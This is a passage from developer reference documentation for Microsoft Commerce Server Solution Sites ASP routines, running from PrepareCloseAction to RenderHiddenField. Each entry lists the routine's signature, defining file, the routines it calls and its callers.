If the number of catalogs is one (1), then the remaining three parameters are set to reference the corresponding Catalog object, the name of the catalog, and a Recordset object of the categories in that catalog, respectively.


PrepareCloseAction - Solution Sites Routine

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This sub prepares for the call to the function htmCloseActionHandler by initializing the values of all of the passed parameters other than the first two.

Definition

Sub PrepareCloseAction(
  byVal sSubAction,
  byVal sProfileIDs,
  byRef sActionPage,
  byRef sPreviousAction,
  byRef sStatusField,
  byRef iStatusID,
  byRef bValidPostedValues,
  byRef bDisplayPostedValues,
  byRef listProfileSchema,
  byRef sSourcePage,
  byRef bDirty
)

Defined in File

services\include\edit_handlers.asp

Routines Called

bIsPropertyValueAdded

bProfileHasChanged

GenerateURL

GetRequestString

iGetCountOfProfiles

listCloneProfileSchema

sGetThisPageProperty

Called By

htmEditPageActionHandlers


PrepareCloseOrderDetailsAction - Solution Sites Routine

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This sub prepares for the call to the sub CloseOrderDetailsActionHandler by initializing the values of the passed parameters.

Definition

Sub PrepareCloseOrderDetailsAction(
  byRef sProfileListPage,
  byRef sSourcePage
)

Defined in File

services\include\order_handlers.asp

Routines Called

GetRequestString

sGetThisPageProperty

Called By

Main (services\customer\view_order.asp)

Main (services\partner\view_order.asp)


PrepareCopyAction - Solution Sites Routine

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This sub prepares for the call to the function htmCopyActionHandler by initializing the values of all of the passed parameters other than the first two.

Definition

Sub PrepareCopyAction(
  byVal sSubAction,
  byVal sProfileIDs,
  byRef iProfileCount,
  byRef iStatusID,
  byRef sStatusField,
  byRef bValidPostedValues,
  byRef bDisplayPostedValues,
  byRef sProfileListPage,
  byRef listProfileSchema
)

Defined in File

services\include\edit_handlers.asp

Routines Called

iGetCountOfProfiles

listCloneProfileSchema

sGetThisPageProperty

Called By

htmEditPageActionHandlers


PrepareDefaultPage - Solution Sites Routine

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This sub prepares for the call to the function htmRenderDefaultPage by initializing the values of all of the passed parameters other than the first one.

Definition

Sub PrepareDefaultPage(
  byVal CatalogSetID,
  byRef rsCatalogs,
  byRef iCatalogCount,
  byRef sCatalogName,
  byRef oCatalog,
  byRef oCategory,
  byRef rsProducts,
  byRef nPageNumber
)

Defined in File

default.asp

Routines Called

GetRecordCount

mscsGetCategoryObject

mscsGetProductList

mscsUserCatalogsFromID

Called By

Main (default.asp)


PrepareDeleteAction - Solution Sites Routine

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This sub prepares for the call to the function htmDeleteActionHandler by initializing the values of the last two parameters.

Definition

Sub PrepareDeleteAction(
  byVal sSubAction,
  byVal sProfileIDs,
  byRef sProfileListPage,
  byRef iProfileCount
)

Defined in File

services\include\edit_handlers.asp

Routines Called

DeleteSelectedProfiles

iGetCountOfProfiles

sGetThisPageProperty

Called By

htmEditPageActionHandlers

Remarks

If the sSubAction parameter is set to MSGBOX_ACTION_YES, the sub DeleteSelectedProfiles is called to delete the profiles specified by the sProfileIDs parameter.


PrepareDeleteAllAction - Solution Sites Routine

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This sub prepares for the call to the sub DeleteAllActionHandler by initializing the value of its one parameter.

Definition

Sub PrepareDeleteAllAction(
  byRef sProfileListPage
)

Defined in File

services\include\edit_handlers.asp

Routines Called

DeleteAllProfiles

dictGetSearchDictionaryForPage

sGetThisPageProperty

Called By

htmEditPageActionHandlers

Remarks

If the user chose "yes" in the associated message box, the sub DeleteAllProfiles is called to delete all profiles matching the search criteria.


PrepareDeselectAllAction - Solution Sites Routine

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This sub prepares for the call to the sub DeSelectAllActionHandler by initializing the value of its one parameter.

Definition

Sub PrepareDeselectAllAction(
  byRef sProfileListPage
)

Defined in File

services\include\edit_handlers.asp

Routines Called

sGetThisPageProperty

Called By

htmEditPageActionHandlers


PrepareEditAction - Solution Sites Routine

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This sub prepares for the call to the function htmEditAction by initializing the values of the last two parameters.

Definition

Sub PrepareEditAction(
  byVal sSubAction,
  byVal sProfileIDs,
  byRef iProfileCount,
  byRef listProfileSchema
)

Defined in File

services\include\edit_handlers.asp

Routines Called

iGetCountOfProfiles

listCloneProfileSchema

Called By

htmEditPageActionHandlers

Main (services\customer\account.asp)

Main (services\partner\account.asp)

Remarks

The listProfileSchema parameter is only initialized if the iProfileCount parameter is initialized to a value greater than zero (0).


PrepareEditAllAction - Solution Sites Routine

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This sub initializes the parameters passed to it.

Definition

Sub PrepareEditAllAction(
  byRef iStatusID,
  byRef sStatusField,
  byRef bValidPostedValues,
  byRef bDisplayPostedValues,
  byRef listProfileSchema
)

Defined in File

services\include\edit_handlers.asp

Routines Called

listCloneProfileSchema

Called By

None.


PrepareInsertProfile - Solution Sites Routine

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This sub prepares for the call to the function htmInsertProfile by initializing the values of all parameters other than sSubAction and sProfileIDs.

Definition

Sub PrepareInsertProfile(
  byVal sSubAction,
  byRef bInserted,
  byRef sProfileIDs,
  byRef sStatusField,
  byRef iStatusID,
  byRef bValidPostedValues,
  byRef bDisplayPostedValues,
  byRef listProfileSchema
)

Defined in File

services\include\edit_handlers.asp

Routines Called

bCheckIfProfileExists

bInsertProfile

listCloneProfileSchema

ValidateFields

Called By

htmSaveActionHandler

Remarks

This sub checks whether the specified profile exists before attempting to add it.

The sStatusField and iStatusID parameters are used to indicate errors.


PrepareLoginPage - Solution Sites Routine

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This sub prepares for the call to the function htmRenderLoginPage by initializing the values of all parameters passed to it.

Definition

Sub PrepareLoginPage(
  byRef bSuccess,
  byRef bMustTransferBasket,
  byRef bDisplayGuestOption,
  byRef bDisplayNewUserRegistrationOption,
  byRef sUserID,
  byRef iErrorLevel,
  byRef rsLoginUser,
  byRef mscsGuestUser,
  byRef dictFldVals,
  byRef dictFldErrs,
  byRef listFlds,
  byRef listFrmErrs,
  byRef urlAction
)

Defined in File

login\login.asp

Routines Called

GenerateURL

GetCurrentUserProfile

GetQualifiedName

GetSubmittedFieldValues

IsFormSubmitted

MoveBasketItems

SetTestCookie

ValidateSubmittedLoginData

Called By

Main (login\login.asp)

Remarks

This sub performs a lot of processing, including retrieving data from a login form, if present, basket transfer where appropriate, and cookie and ticket processing.


PrepareLoginSection - Solution Sites Routine

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This sub prepares for the call to the function htmRenderLoginSection by initializing the values of the passed parameters.

This function gets the current user profile and sets the sLoginName parameter to the current user name.

Definition

Sub PrepareLoginSection(
  byRef sAuthUser,
  byRef bFormLoginSupported,
  byRef mscsUser,
  byRef sLoginName
)

Defined in File

template\menu.asp

Routines Called

EnsureUserProfile

GetQualifiedName

Called By

htmRenderMenu

Remarks

This sub is called to prepare for the creation of the login section of the menu area.

The mscsUser and sLoginName parameters are not initialized in all cases.


PrepareLogoffPage - Solution Sites Routine

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This sub prepares for the call to the function htmRenderLogoffPage by initializing the values of the parameters passed to it.

Definition

Sub PrepareLogoffPage(
  byRef bReEnterWithFormLogin,
  byRef bReEnterAsGuestOption
)

Defined in File

login\logoff.asp

Routines Called

GenerateURL

Called By

Main (login\logoff.asp)

Remarks

This function logs off the current user by causing the associated cookies to expire.


PrepareNewUserPage - Solution Sites Routine

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This sub prepares for the call to the function htmRenderNewUserPage by initializing the values of the parameters passed to it. It also validates submitted form data and registers the user.

Definition

Sub PrepareNewUserPage(
  byRef urlAction,
  byRef dictFldVals,
  byRef dictFldErrs
)

Defined in File

login\newuser.asp

Routines Called

GenerateURL

GetCurrentUserProfile

GetQualifiedName

GetSubmittedFieldValues

IsFormSubmitted

iValidateSubmittedRegistrationData

mscsNewRegisteredUserProfile

mscsTransferGuestUserProfile

SetTestCookie

Called By

Main (login\newuser.asp)

Remarks

If the submitted form data is invalid or no form was submitted, this sub prepares to render the new user form.


PrepareOrderDetailsAction - Solution Sites Routine

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This sub prepares for the call to the function htmOrderDetailsActionHandler by initializing the value of the iProfileCount parameter.

Definition

Sub PrepareOrderDetailsAction(
  byVal sSubAction,
  byVal sProfileIDs,
  byRef iProfileCount
)

Defined in File

services\include\order_handlers.asp

Routines Called

iGetCountOfProfiles

Called By

Main (services\customer\view_order.asp)

Main (services\partner\view_order.asp)


PrepareOrderList - Solution Sites Routine

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This sub prepares for the calls to the routines formRenderOrderSearchOptions, formRenderOrdersListContents, rowRenderStatusInfo, and tableRenderFooterInfo by initializing the values of all parameters other than the first.

Definition

Sub PrepareOrderList(
  byVal sAction,
  byRef dictSearchOptions,
  byRef mscsUserProfile,
  byRef sStatusField,
  byRef iStatusID,
  byRef rsOrders,
  byRef iPageNumber,
  byRef iTotalRecords,
  byRef iTotalPages,
  byRef sCriteria,
  byRef sTargetPage
)

Defined in File

services\include\logic_orders.asp

Routines Called

EnsureUserProfile

GetRequestString

GetSearchDictionaryForThisPage

rsGetOrdersList

sGetThisPageProperty

Called By

htmRenderOrderList


PreparePickShipForm - Solution Sites Routine

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This sub prepares for the call to the function htmRenderPickshipForm by initializing the values of the parameters passed to it.

Definition

Sub PreparePickShipForm(
  byRef mscsOrderGrp,
  byRef objContext,
  byRef dictAggregate,
  byRef bNoMethodsAvailable
)

Defined in File

pickship.asp

Routines Called

CatchErrors (pickship.asp)

dictAggregatePreviews

GenerateURL

GetPipelineLogFile

LoadBasket

rsGetShippingMethods

RunMtsPipeline

Called By

Main (pickship.asp)

Remarks

This sub performs a lot of processing in preparation for rendering the shipping method form, including loading the basket, running the basket pipeline, and creating and populating a Shipping object.


PrepareRenderMenu - Solution Sites Routine

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This sub prepares for the call to the function htmRenderMenu by initializing the values of the parameters passed to it.

Definition

Sub PrepareRenderMenu(
  byRef mscsUser,
  byRef CatalogSetID
)

Defined in File

template\menu.asp

Routines Called

GetCurrentUserProfile

mscsUserCatalogsetID

Called By

This routine is called by code outside of any routine (sub or function) in the file template\menu.asp.


PrepareSaveAction - Solution Sites Routine

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This sub currently performs no processing at all, but is called before calls to the function htmSaveActionHandler. If you modify the latter function and need to perform special preparation before calling it, consider adding the preparation code to this function.

Definition

Sub PrepareSaveAction()

Defined in File

services\include\edit_handlers.asp

Routines Called

None.

Called By

htmEditPageActionHandlers

Main (services\customer\account.asp)

Main (services\partner\account.asp)


PrepareSaveAllAction - Solution Sites Routine

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This sub prepares for the call to the function htmSaveAllActionHandler by initializing the values of the parameters passed to it. When the profile changes are found to be valid, the sub SaveAllSelectedProfiles is called to save the changes.

Definition

Sub PrepareSaveAllAction(
  byRef StatusField,
  byRef iStatusID,
  byRef bValidPostedValues,
  byRef bDisplayPostedValues,
  byRef listProfileSchema
)

Defined in File

services\include\edit_handlers.asp

Routines Called

dictGetSearchDictionaryForPage

listCloneProfileSchema

listGetValidPropertiesForMultiEdit

listReConstructPropertiesSchema

SaveAllSelectedProfiles

sGetThisPageProperty

ValidateFields

Called By

htmSaveActionHandler

Remarks

When found to be valid, this sub saves the new property values entered by the user in all profiles returned from the search criteria in the corresponding list page.


PrepareSaveChangesConfirmation - Solution Sites Routine

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This sub prepares for the call to the function htmChangePasswordActionHandler by initializing the values of all parameters passed to it other than the first. This sub is also called by PrepareSelectActionHandlerForEdit to help initialize its parameters.

Definition

Sub PrepareSaveChangesConfirmation(
  byVal sSubAction,
  byRef sPreviousAction,
  byRef listProfileSchema,
  byRef bValidPostedValues,
  byRef bDisplayPostedValues
)

Defined in File

services\include\messagebox_handlers.asp

Routines Called

GetRequestString

listCloneProfileSchema

ValidateFields

Called By

htmEditPageActionHandlers

Main (services\customer\account.asp)

PrepareSelectActionHandlerForEdit


PrepareSaveProfiles - Solution Sites Routine

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This sub prepares for the call to the function htmSaveProfiles by initializing the values of all parameters passed to it other than the first three.

Definition

Sub PrepareSaveProfiles(
  byVal sAction,
  byVal sSubAction,
  byVal sProfileIDs,
  byRef bUpdated,
  byRef sSourcePage,
  byRef sStatusField,
  byRef iStatusID,
  byRef bValidPostedValues,
  byRef bDisplayPostedValues,
  byRef listProfileSchema
)

Defined in File

services\include\edit_handlers.asp

Routines Called

bCheckIfProfileExists

bSaveProfileDetails

GetRequestString

iGetCountOfProfiles

listCloneProfileSchema

listGetValidPropertiesForMultiEdit

listReConstructPropertiesSchema

rsGetProfileDetails

ValidateFields

Called By

htmSaveActionHandler


PrepareSelectActionHandlerForEdit - Solution Sites Routine

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This sub prepares for the call to the function htmSelectActionHandlerForEdit by initializing the values of all parameters passed to it other than the first three.

Definition

Sub PrepareSelectActionHandlerForEdit(
  byVal sAction,
  byVal sSubAction,
  byVal sProfileIDs,
  byRef sActionPage,
  byRef sPreviousAction,
  byRef listProfileSchema,
  byRef bValidPostedValues,
  byRef bDisplayPostedValues
)

Defined in File

services\include\edit_handlers.asp

Routines Called

GenerateURL

PrepareSaveChangesConfirmation

sGetSelectActionPropertyName

Called By

Main (services\partner\account.asp)


PrepareSelectAllAction - Solution Sites Routine

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This sub prepares for the call to the sub SelectAllActionHandler by initializing the value of the sProfileListPage parameter.

Definition

Sub PrepareSelectAllAction(
  byRef sProfileListPage
)

Defined in File

services\include\edit_handlers.asp

Routines Called

sGetThisPageProperty

Called By

htmEditPageActionHandlers


PrepareSelectedAction - Solution Sites Routine

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This sub prepares for the call to the function htmSelectedActionHandlerForEdit by initializing the values of the last three parameters.

Definition

Sub PrepareSelectedAction(
  byRef sAction,
  byVal sSubAction,
  byVal sProfileIDs,
  byRef sStatusField,
  byRef iStatusID,
  byRef bValidPostedValues,
  byRef bDisplayPostedValues,
  byRef listProfileSchema
)

Defined in File

services\include\edit_handlers.asp

Routines Called

listCloneProfileSchema

UpdateSelectActionPropertyName

Called By

Main (services\partner\account.asp)

Remarks

This sub is called when the user has returned from a list page.


PrepareShippingMethods - Solution Sites Routine

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This sub prepares for the call to the function htmRenderShippingMethods by initializing the value of the first parameter. The sSelectedMethodID parameter is initialized to the last shipping method chosen by the user, if any.

Definition

Sub PrepareShippingMethods(
  byRef mscsOrderGrp,
  byRef sSelectedMethodID
)

Defined in File

pickship.asp

Routines Called

GenerateURL

GetAnyLineItem

LoadBasket

Called By

Main (pickship.asp)

Remarks

This sub loads the basket and if found to be empty, redirects the user to the basket page.


PrepareSpecificationSearch - Solution Sites Routine

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This sub prepares for the call to the function htmRenderStepSearchPageContent by initializing the values of the parameters passed to it. It does this by actually performing the indicated specification search.

Definition

Sub PrepareSpecificationSearch(
  byRef sCategoryName,
  byRef sCatalogName,
  byRef oCatalog,
  byRef bViewResults,
  byRef rsFields,
  byRef rsResults,
  byRef sSearchHandle,
  byRef iMatchesFound,
  byRef iConstraintFieldsCount,
  byRef iNonConstraintFieldsCount,
  byRef arr1,
  byRef arr2,
  byRef bNoValues,
  byRef bClosestMatches
)

Defined in File

stepsrch.asp

Routines Called

GetSpecificationSearchClauses

PerformSpecificationSearch

Called By

Main (stepsrch.asp)


ProfileRefresh - Solution Sites Routine

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This sub refreshes the Profile Service.

Definition

Sub ProfileRefresh()

Defined in File

RefreshApp.asp

Routines Called

dictGetProfileSchemaForAllProfileTypes

InitProfileService

IsActiveDirectoryPresent

sGetActiveDirectoryDefaultNamingContext

Called By

This routine is called by code outside of any routine (sub or function) in the file RefreshApp.asp.


Ptag - Solution Sites Routine

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This function surrounds the string specified by the s parameter with the tags <P> and </P>, and then returns the resulting string.

Definition

Function PTag(
  s
)

Parameters

s
A string that contains the text to be wrapped in a P element, and then returned.

Return Value

A string that contains the text passed in the s parameter, surrounded by <P> and </P> tags.

Defined in File

include\html_lib.asp

Routines Called

None.

Called By

InsertParagraphBreaks


RecordClickToBasket - Solution Sites Routine

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This sub records clicks associated with click-required discounts into the OrderGroup object for later use by the OrderDiscount component.

Definition

Sub RecordClickToBasket(
  ciid
)

Defined in File

redir.asp

Routines Called

EnsureAccess

LoadBasket

Called By

Main (redir.asp)


RedirectOrderDetailsForIDs - Solution Sites Routine

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This sub is used to redirect the user to a page from which they can choose which order to retrieve details for.

Definition

Sub RedirectOrderDetailsForIDs()

Defined in File

services\include\order_handlers.asp

Routines Called

GenerateURL

sGetThisPageProperty

Called By

htmOrderDetailsActionHandler


ReDirectToPage - Solution Sites Routine

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This sub generates a URL for the specified page and appends name/value argument pairs based on the corresponding values in the arrKeys and arrValues array parameters. It then redirects the user using the constructed URL.

Definition

Sub ReDirectToPage(
  byVal sPageName,
  byVal arrKeys,
  byVal arrValues
)

Defined in File

services\include\lib.asp

Routines Called

GenerateURL

Called By

DeleteAllActionHandler

DeSelectAllActionHandler

htmCopyActionHandler

htmDeleteActionHandler

htmEditAction

SelectAllActionHandler


RedirectToPOConfirmation - Solution Sites Routine

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This sub saves the basket as an order and then redirects the user to the purchase order confirmation page.

Definition

Sub RedirectToPOConfirmation(
  mscsOrderGrp
)

Defined in File

po.asp

Routines Called

GenerateURL

SaveBasketAsOrder

Called By

Main (po.asp)


RelocateRecordPointer - Solution Sites Routine

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This sub initializes local variables used in the paging mechanism of the page that lists orders. It also sets the current record in the Recordset object specified by the rs parameter to the beginning of the specified page number.

Definition

Sub RelocateRecordPointer(
  byRef Count,
  byRef nPage,
  byRef nCountTemp,
  byRef bRecordCountPresent,
  byVal rs,
  byRef iPageNumber,
  byRef iTotalRecords
)

Defined in File

services\include\lib.asp

Routines Called

None.

Called By

tableRenderOrdersListContents


RelocateRecordPointer2 - Solution Sites Routine

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This sub initializes local variables used in the paging mechanism of the page that lists profiles. It also sets the current record in the Recordset object specified by the rs parameter to the beginning of the specified page number.

Definition

Sub RelocateRecordPointer2(
  byRef Count,
  byRef nPage,
  byRef nCountTemp,
  byRef bRecordCountPresent,
  byVal rs,
  byRef iPageNumber,
  byRef iTotalRecords
)

Defined in File

services\include\render_list.asp

Routines Called

None.

Called By

tableRenderMultipleRecords


RemoveBlankItemsFromArray - Solution Sites Routine

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This sub copies all non-empty strings from the array specified by the arrItems parameter into the array specified by the arrNew parameter, discarding any previous contents of the latter.

Definition

Sub RemoveBlankItemsFromArray(
  byRef arrItems,
  byRef arrNew
)

Defined in File

include\std_string_lib.asp

Routines Called

None.

Called By

ShowRefinedSearch


RemoveCreditCardInfo - Solution Sites Routine

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This function removes credit card information from the specified OrderGroup object. It is used when a user wants to change from using a credit card order to using a purchase order.

Definition

Function RemoveCreditCardInfo(
  mscsOrderGrp
)

Parameters

mscsOrderGrp
A reference to the OrderGroup object from which all credit card information should be removed.

Return Value

Even though it is a function, this routine does not return any value.

Defined in File

po.asp

Routines Called

None.

Called By

SetPurchaseOrderInfo


RemoveEmptyOrderForms - Solution Sites Routine

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This sub removes empty OrderForm objects from the specified OrderGroup object.

Definition

Sub RemoveEmptyOrderForms(
  mscsOrderGrp
)

Parameters

mscsOrderGrp
A reference to the OrderGroup object from which all empty OrderForm objects should be removed.

Defined in File

include\std_ordergrp_lib.asp

Routines Called

None.

Called By

CatchErrors (pickship.asp)

CatchErrors (summary.asp)

CatchErrorsForPaymentPages

CheckBasket


RemovePurchaseOrderInfo - Solution Sites Routine

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This function removes purchase order information from the passed OrderGroup object. It is used when a user wants to change from using a purcahse order to using a credit card.

Definition

Function RemovePurchaseOrderInfo(
  mscsOrderGrp
)

Parameters

mscsOrderGrp
A reference to the OrderGroup object from which the all purchase order information should be removed.

Return Value

Even though it is a function, this routine does not return any value.

Defined in File

crdtcard.asp

Routines Called

None.

Called By

SetCreditCardInfo


RenderBasketPage - Solution Sites Routine

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This sub renders the basket page, including the basket contents, discounts, and errors. It establishes the appropriate content in the two content variables htmPageContent and htmDiscountBannerSlot.

Definition

Sub RenderBasketPage(
  mscsOrderGrp,
  oOrderFormDisplayOrder,
  bBasketIsEmpty,
  iErrorCount
)

Defined in File

basket.asp

Routines Called

CollectBasketItems

GenerateURL

htmRenderBasket

htmRenderBasketWarnings

htmRenderCheckoutButton

htmRenderDiscountMessages

htmRenderPredictions

RenderDiscounts

RenderLink

RenderText

Called By

Main (basket.asp)


RenderCatalogLink - Solution Sites Routine

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This function prepares the HTML that will render a link to the specified catalog, using the specified FONT element attributes for the link text style.

Definition

Function RenderCatalogLink(
  sCatalogName,
  style
)

Parameters

sCatalogName
A string that specifies the name of the catalog for which the link will be constructed.
style
A string that contains attributes appropriate for the FONT element, used when rendering the catalog link text.

Return Value

A string containing the HTML that will render the constructed catalog link.

Defined in File

include\catalog.asp

Routines Called

RenderCatalogURL

RenderLink

RenderText

Called By

htmRenderCatalogList


RenderCatalogURL - Solution Sites Routine

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This function constructs the URL for a catalog. This produces the same result as calling the RenderCategoryURL function with an empty string for the sCategory parameter and the number one (1) for the nPage parameter.

Definition

Function RenderCatalogURL(
  sCatalogName
)

Parameters

sCatalogName
A string containing the name of the catalog for which the URL will be constructed.

Return Value

A string containing the constructed catalog URL.

Defined in File

include\catalog.asp

Routines Called

RenderCategoryURL

Called By

RenderCatalogLink


RenderCategoryLink - Solution Sites Routine

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This function prepares the HTML that will render a link to the specified catalog, category, and page number, using the specified FONT element attributes for the link text style.

Definition

Function RenderCategoryLink(
  sCatalogName,
  sCategory,
  nPage,
  style
)

Parameters

sCatalogName
A string containing the name of the catalog for which the link will be constructed.
sCategory
A string containing the name of the category for which the link will be constructed.
nPage
A number corresponding to the page within the category for which the link will be constructed.
style
A string that contains attributes appropriate for the FONT element, which will be used when rendering the category link text.

Return Value

A string containing the HTML that will render the constructed category link.

Defined in File

include\catalog.asp

Routines Called

RenderCategoryURL

RenderLink

RenderText

Called By

htmRenderCategoriesList

RenderSearchResultRow

ShowSearchMatches


RenderCategoryURL - Solution Sites Routine

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This function constructs the URL for a category by appending the specified catalog, category, and page number as arguments to the category page URL stored in the MSCSSitePages Dictionary object.

Definition

Function RenderCategoryURL(
  sCatalogName,
  sCategory,
  nPage
)

Parameters

sCatalogName
A string containing the name of the catalog for which the URL will be constructed.
sCategory
A string containing the name of the category for which the URL will be constructed.
nPage
A number corresponding to the page within the category for which the URL will be constructed.

Return Value

A string containing the constructed category URL.

Defined in File

include\catalog.asp

Routines Called

GenerateURL

Called By

htmRenderCategoryPage

RenderCatalogURL

RenderCategoryLink


RenderCheckBox - Solution Sites Routine

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This function prepares the HTML that will render an INPUT element for which the TYPE attribute has been given a value of "CHECKBOX", and for which other attribute values are supplied by the parameters.

Definition

Function RenderCheckBox(
  byVal sName,
  byVal sValue,
  byVal bChecked,
  byVal sAttList
)

Parameters

sName
A string containing a value to be assigned to the NAME attribute.
sValue
A string containing a value to be assigned to the VALUE attribute.
bChecked
A Boolean, which if set to True, results in the CHECKED attribute being present in the resulting HTML.
sAttList
A string containing any additional, space-separated "attribute=value" pairs to be included in the INPUT element. This string, if non-empty, must begin with a space character.

Return Value

A string containing the HTML that will render the specified checkbox.

Defined in File

include\html_lib.asp

Routines Called

None.

Called By

htmRenderAddressBook

htmRenderBoolean

htmRenderFillOutForm

htmRenderUniqueIDForProfile

sRenderHTMLPreFixForProperty

tableRenderEditPageTasks


RenderDetailedInfoList - Solution Sites Routine

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This function prepares the HTML that will render an unordered list containing detailed error information.

Definition

Function RenderDetailedInfoList()

Return Value

A string containing the detailed error information, formatted as an unordered list (UL element).

Defined in File

error\500error.asp

Routines Called

RenderErrorType

RenderPageInfo

RenderPostData

RenderTime

Called By

This routine is called by code outside of any routine (sub or function) in the file error\500error.asp.


RenderDiscounts - Solution Sites Routine

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This function prepares the HTML that will render discount banners, typically in the content area associated with the content variable htmDiscountBannerSlot. The content is produced by calling the GetContent method of a ContentSelector object created within the function.

This function uses the two passed SimpleList objects, BasketDetails and ProductDetails, to give affinity to discounts that are completed by items in the basket, or to items that are shown on the page, respectively.

Definition

Function RenderDiscounts(
  ProductDetails,
  BasketDetails,
  nDiscountsToShow
)

Parameters

ProductDetails
When present, a SimpleList object assigned to a property of the ContentSelector object named "Products".
BasketDetails
When present, a SimpleList object assigned to a property of the ContentSelector object named "Items".
nDiscountsToShow
A number specifying the number of discounts to show, assigned to a property of the ContentSelector object named "NumRequested".

Return Value

A string containing the HTML that will result in the rendering of the appropriate discounts, typically within the content area associated with the content variable htmDiscountBannerSlot.

Defined in File

template\discount.asp

Routines Called

GetCurrentUserProfile

Called By

Main (product.asp)

RenderBasketPage

Remarks

The parameters ProductDetails and BasketDetails, when present, provide information to the associated Content Selection pipeline. This pipeline uses this information to propose discounts related to products being shown on the current page, or items currently in the basket, respectively.


RenderElement - Solution Sites Routine

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This function prepares the HTML that will render an arbitrary HTML element and its associated attributes and content, as specified by the parameters.

Definition

Function RenderElement(
  byVal sElement,
  byVal sContent,
  byVal sAttList
)

Parameters

sElement
A string containing the name of the HTML element to be constructed for rendering.
sContent
A string containing the content to appear between the element starting and ending tags.
sAttList
A string containing any space-separated "attribute=value" pairs to be included in the starting element tag. This string, if non-empty, must begin with a space character.

Return Value

A string containing the HTML that will render the arbitrary HTML element.

Defined in File

include\html_lib.asp

Routines Called

None.

Called By

None.


RenderErrorType - Solution Sites Routine

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This function prepares the HTML that will render detailed error information based on the contents of the object returned by a call to the GetLastError method of the intrinsic Server object.

Definition

Function RenderErrorType()

Return Value

A string containing the HTML that will render the detailed error information, formatted to make it more readable.

Defined in File

error\500error.asp

Routines Called

None.

Called By

RenderDetailedInfoList


RenderForm - Solution Sites Routine

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This function prepares the HTML that will render the specified HTML form.

Definition

Function RenderForm(
  byVal urlAction,
  byVal htmBody,
  byVal iHTTPMethod
)

Parameters

urlAction
A string that contains the URL to be assigned to the ACTION attribute.
htmBody
A string containing the content for the body of the HTML FORM element being constructed. In other words, the content to appear between the <FORM> tag and the </FORM> tag.
iHTTPMethod
A number that specifies the value to be assigned to the METHOD attribute. If this parameter is equal to one (1), the METHOD attribute will be assigned the string "POST"; otherwise it will be assigned the string "GET".

Return Value

A string containing the HTML that will render the specified HTML form.

Defined in File

include\html_lib.asp

Routines Called

None.

Called By

formRenderBlankEditPageBody

formRenderChangePasswordPageContents

formRenderEditPageBody

formRenderListPageContents

formRenderOrderContents

formRenderOrderSearchOptions

formRenderOrdersListContents

formRenderPagingButtons

formRenderProfileSearchOptions

htmRenderAddressBook

htmRenderBasket

htmRenderBlankEditPage

htmRenderChangePasswordPage

htmRenderCheckoutButton

htmRenderEditPage

htmRenderFillOutForm

htmRenderOrderDetails

htmRenderOrderList

htmRenderPaymentOptionsForUser

htmRenderPickshipForm

htmRenderProfilesList

htmRenderSearchSection

htmRenderShippingMethods

htmRenderVerifyWithForm

Main (product.asp)

ShowRefinedSearch

tableRenderMessageBoxPageButtons


RenderHiddenField - Solution Sites Routine

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This function prepares the HTML that will render an INPUT element for which the TYPE attribute has been given a value of "HIDDEN", and for which other attribute values are supplied by the parameters.

Definition

Function RenderHiddenField(
  byVal sName,
  byVal sValue
)

Parameters

sName
A string containing a value to be assigned to the NAME attribute.
sValue
A string containing a value to be assigned to the VALUE attribute.

Return Value

A string containing the HTML that represents the specified hidden INPUT element.

Defined in File

include\html_lib.asp

Routines Called

None.

Called By

cellRenderReadOnlyProperty

